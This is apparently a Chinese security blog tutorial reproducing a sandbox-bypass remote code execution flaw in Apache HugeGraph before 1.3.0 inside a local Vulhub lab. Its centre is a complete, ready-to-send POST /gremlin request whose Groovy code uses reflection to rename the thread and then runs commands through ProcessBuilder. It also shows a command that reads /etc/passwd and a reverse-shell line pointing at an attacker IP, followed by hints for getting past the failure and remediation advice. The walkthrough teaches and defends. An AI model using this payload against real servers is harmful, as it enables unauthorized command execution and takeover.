
本文为安全学习与授权测试用途所有操作均在本地靶场完成请勿用于未授权目标。0. 先说这个洞最离谱的地方图数据库这类系统平时安全关注度不高。但 Apache HugeGraph 这个漏洞实在太看脸了——它的安全沙箱只检查当前线程名是不是以特定字符串开头攻击者用反射把线程名一改沙箱就形同虚设随后可以提交任意 Groovy 代码直接调用系统命令。这就好比你家小区门禁只检查访客穿没穿工作人员马甲而不核对工牌——我随便找件马甲套上就能大摇大摆走进去。这篇文章我会把漏洞原理讲透带你在本地把靶场搭起来一步步走到命令执行并重点拆解一个几乎所有人都会踩的坑为什么id能执行换成反弹 Shell 命令就直接报错理解了这个坑你对命令执行和真正拿下服务器之间的距离会有全新的认识。1. 漏洞背景1.1 HugeGraph 是什么Apache HugeGraph 是百度开源的一个分布式图数据库主打高性能和水平扩展在知识图谱、推荐系统、关系网络分析这些场景里用得不少。它提供了一个Gremlin API支持用户提交 Groovy 脚本来做图遍历和计算。这里要划重点Groovy 本身是一门完整的 JVM 语言能力远超查一下图里的边——它能直接调用 Java 类库。也就是说如果不做限制Groovy 可以直接调用这些操作系统级别的敏感 APIRuntime.getRuntime().exec(命令);newProcessBuilder(命令).start();1.2 沙箱是怎么被绕过的开发团队当然知道 Groovy 能力太强于是加了一个SecurityManager做沙箱限制。问题在于这个沙箱的校验逻辑极其简单核心判断只有一条当前线程名是否以gremlin-server-exec或task-worker开头是就放行。攻击者要做的就是用反射拿到当前线程把线程名改成以gremlin-server-exec开头然后提交任意 Groovy 代码——剩下的就是服务器替你干活了。1.3 影响版本这个漏洞影响1.3.0 之前的所有版本官方在 1.3.0 中修复了线程名校验逻辑。2. 环境搭建直接用 Vulhub 拉环境一行命令启动靶场dockercompose up-d启动后 HugeGraph 默认监听 8080 端口浏览器访问http://你的靶机IP:8080能看到 HugeGraph 的各个接口信息就说明环境就绪了。提示如果镜像拉取慢可以配置 Docker 国内镜像加速器。靶场环境建议用 2核4G 以上的服务器跑内存太小容器可能起不来。3. 漏洞复现漏洞利用的核心是两步先用反射改线程名绕过沙箱再构造 ProcessBuilder 执行命令。3.1 完整数据包把下面的请求复制到 Burp Repeater 或用 curl 发送即可注意把 Host 换成你的靶机地址POST /gremlin HTTP/1.1 Host: 靶机IP:8080 Content-Type: application/json Connection: close { gremlin: Thread thread Thread.currentThread();Class clz Class.forName(\java.lang.Thread\);java.lang.reflect.Field field clz.getDeclaredField(\name\);field.setAccessible(true);field.set(thread, \SL7\);Class processBuilderClass Class.forName(\java.lang.ProcessBuilder\);java.lang.reflect.Constructor constructor processBuilderClass.getConstructor(java.util.List.class);java.util.List command java.util.Arrays.asList(\id\);Object processBuilderInstance constructor.newInstance(command);java.lang.reflect.Method startMethod processBuilderClass.getMethod(\start\);org.apache.commons.io.IOUtils.toString(startMethod.invoke(processBuilderInstance).getInputStream());, bindings: {}, language: gremlin-groovy, aliases: {} }3.2 第一段逻辑反射改线程名ThreadthreadThread.currentThread();ClassclzClass.forName(java.lang.Thread);java.lang.reflect.Fieldfieldclz.getDeclaredField(name);field.setAccessible(true);field.set(thread,gremlin-server-exec-xxx);逐行解释Thread.currentThread()拿到当前正在执行的线程对象getDeclaredField(name)反射拿到 Thread 类的name字段线程名就存在这里setAccessible(true)关闭 Java 的访问控制检查——因为name是私有字段不改这个无法写入field.set(thread, 新名字)直接把线程名改掉。只要新名字以gremlin-server-exec开头后续所有操作都会被沙箱当成合法内部调用。这里体现了反射的威力Java 的private访问控制只在正常写代码时生效一旦攻击者通过反射调用setAccessible(true)这层保护就被绕过了。3.3 第二段逻辑构造命令执行ClassprocessBuilderClassClass.forName(java.lang.ProcessBuilder);java.util.Listcommandjava.util.Arrays.asList(id);ObjectprocessBuilderInstanceconstructor.newInstance(command);startMethod.invoke(processBuilderInstance).getInputStream();用反射拿到ProcessBuilder类它用于启动外部进程把命令id包装成 List 传入反射调用start()方法启动进程最后用IOUtils.toString()读取命令的输出流通过 Groovy 的返回值回显出来。发送后响应中回显了uid33(www-data)说明我们已经能在服务器上执行任意命令了。3.4 执行其他命令把命令换成带参数的比如读取系统账户文件注意要把命令和参数拆成 List 的独立元素java.util.Listcommandjava.util.Arrays.asList(cat,/etc/passwd);这是ProcessBuilder和在终端敲命令的关键区别下一节详细讲。4. 重点拆解为什么反弹 Shell 直接报错这是这个漏洞最有学习价值的地方。很多同学一看id能执行就想当然地把命令换成反弹 Shelljava.util.Arrays.asList(bash,-i,,/dev/tcp/攻击IP/9999,01);结果服务器直接返回500 错误。4.1 根因ProcessBuilder 不经过 Shell 解析我们平时在终端敲命令其实是 Shellbash 或 sh在帮你做解析。、/dev/tcp/...、01、管道符|这些符号全都是 Shell 的特有语法不是程序本身能理解的参数。但ProcessBuilder不一样。它直接 fork 一个子进程执行指定程序参数原样传递不经过任何 Shell 解释。当你写Arrays.asList(bash,-i,,/dev/tcp/1.2.3.4/9999,01)ProcessBuilder 的理解是“启动 bash传给它 4 个参数-i、、/dev/tcp/...、01”。而在 bash 看来这种符号根本不是合法的命令行参数——它本该由 Shell 在启动 bash之前就解析掉现在却被当成普通文本传了进来于是报错。4.2 一个对比表帮你彻底理解写法谁来解析特殊符号结果终端直接敲bash -i /dev/tcp/...Shellbash先解析等正常ProcessBuilder直接传没有 Shell符号原样当参数报错 500ProcessBuilder传[cat,/etc/passwd]无特殊符号cat 直接收参数正常ProcessBuilder传[bash,-c,命令字符串]bash -c 内部再解析字符串取决于字符串内容核心结论凡是包含管道、重定向、/dev/tcp、命令替换等 Shell 语法的命令都不能直接丢给 ProcessBuilder必须想办法让一个真正的 Shell 去解析它。4.3 那到底怎么才能拿到 Shell思路其实已经摆在台面上了——既然 ProcessBuilder 不解析 Shell 语法那就要么把复杂命令编码后传输到目标上再解码交给 bash 执行可以规避参数解析和特殊字符问题要么先往目标写一个脚本文件再用 bash 执行这个脚本。但这两条路在实际操作中都还有一堆细节要处理编码用什么格式、花括号展开怎么写、如何分阶段把脚本落盘再执行、网络不通怎么排查……这些已经属于从命令执行到 GetShell的完整后利用环节展开讲篇幅很长。我把这部分完整的绕过过程包括 Base64 编码、花括号展开、分阶段落盘、反弹 Shell 验证以及一键利用脚本都整理在了我的安全学习站点和社群里需要的同学可以看文末方式获取。5. 修复建议升级 HugeGraph 到 1.3.0 及以上版本官方修复了 SecurityManager 的线程名校验逻辑暂时无法升级时在反向代理层Nginx 等对/gremlin接口做访问控制只允许受信 IP 访问如果业务不需要动态 Groovy 执行直接关闭或禁用 Gremlin API以非 root 用户运行服务配合 Docker 的--cap-dropALL等安全配置限制进程权限部署 WAF对/gremlin请求体做规则匹配拦截包含ProcessBuilder、getDeclaredField、Runtime等关键词的 payload。6. 写在最后这个漏洞技术门槛不算高但它暴露了一个非常典型的问题安全校验只做了表面功夫。只看线程名、不看调用来源跟门卫只看你穿没穿制服、不看工牌一样这种检查在真实攻击面前不堪一击。而那个ProcessBuilder 不解析 Shell 语法的坑则是几乎所有命令执行类漏洞走到 GetShell 时都会遇到的共性问题——搞懂它比单纯跑通一个id要有价值得多。如果你希望看到这个漏洞从命令执行到反弹 Shell 的完整 GetShell 链路以及更多真实漏洞的全流程拆解可以访问我的安全学习站点站点地址详见文章头部官网【光跃Eason·安研社】里面有完整的漏洞实战导航、入门到进阶的体系化文章以及配套的靶场环境和探测脚本也可以加我微信交流微信号在站点【加入星球 / 联系】页面。我会持续更新真实漏洞的复现过程和踩坑经验我们下篇文章见。免责声明本文仅用于网络安全研究与教学所有测试均在本人授权的靶场环境中进行。请严格遵守《网络安全法》切勿对任何未授权系统进行测试。技术本身中立关键在于使用它的人。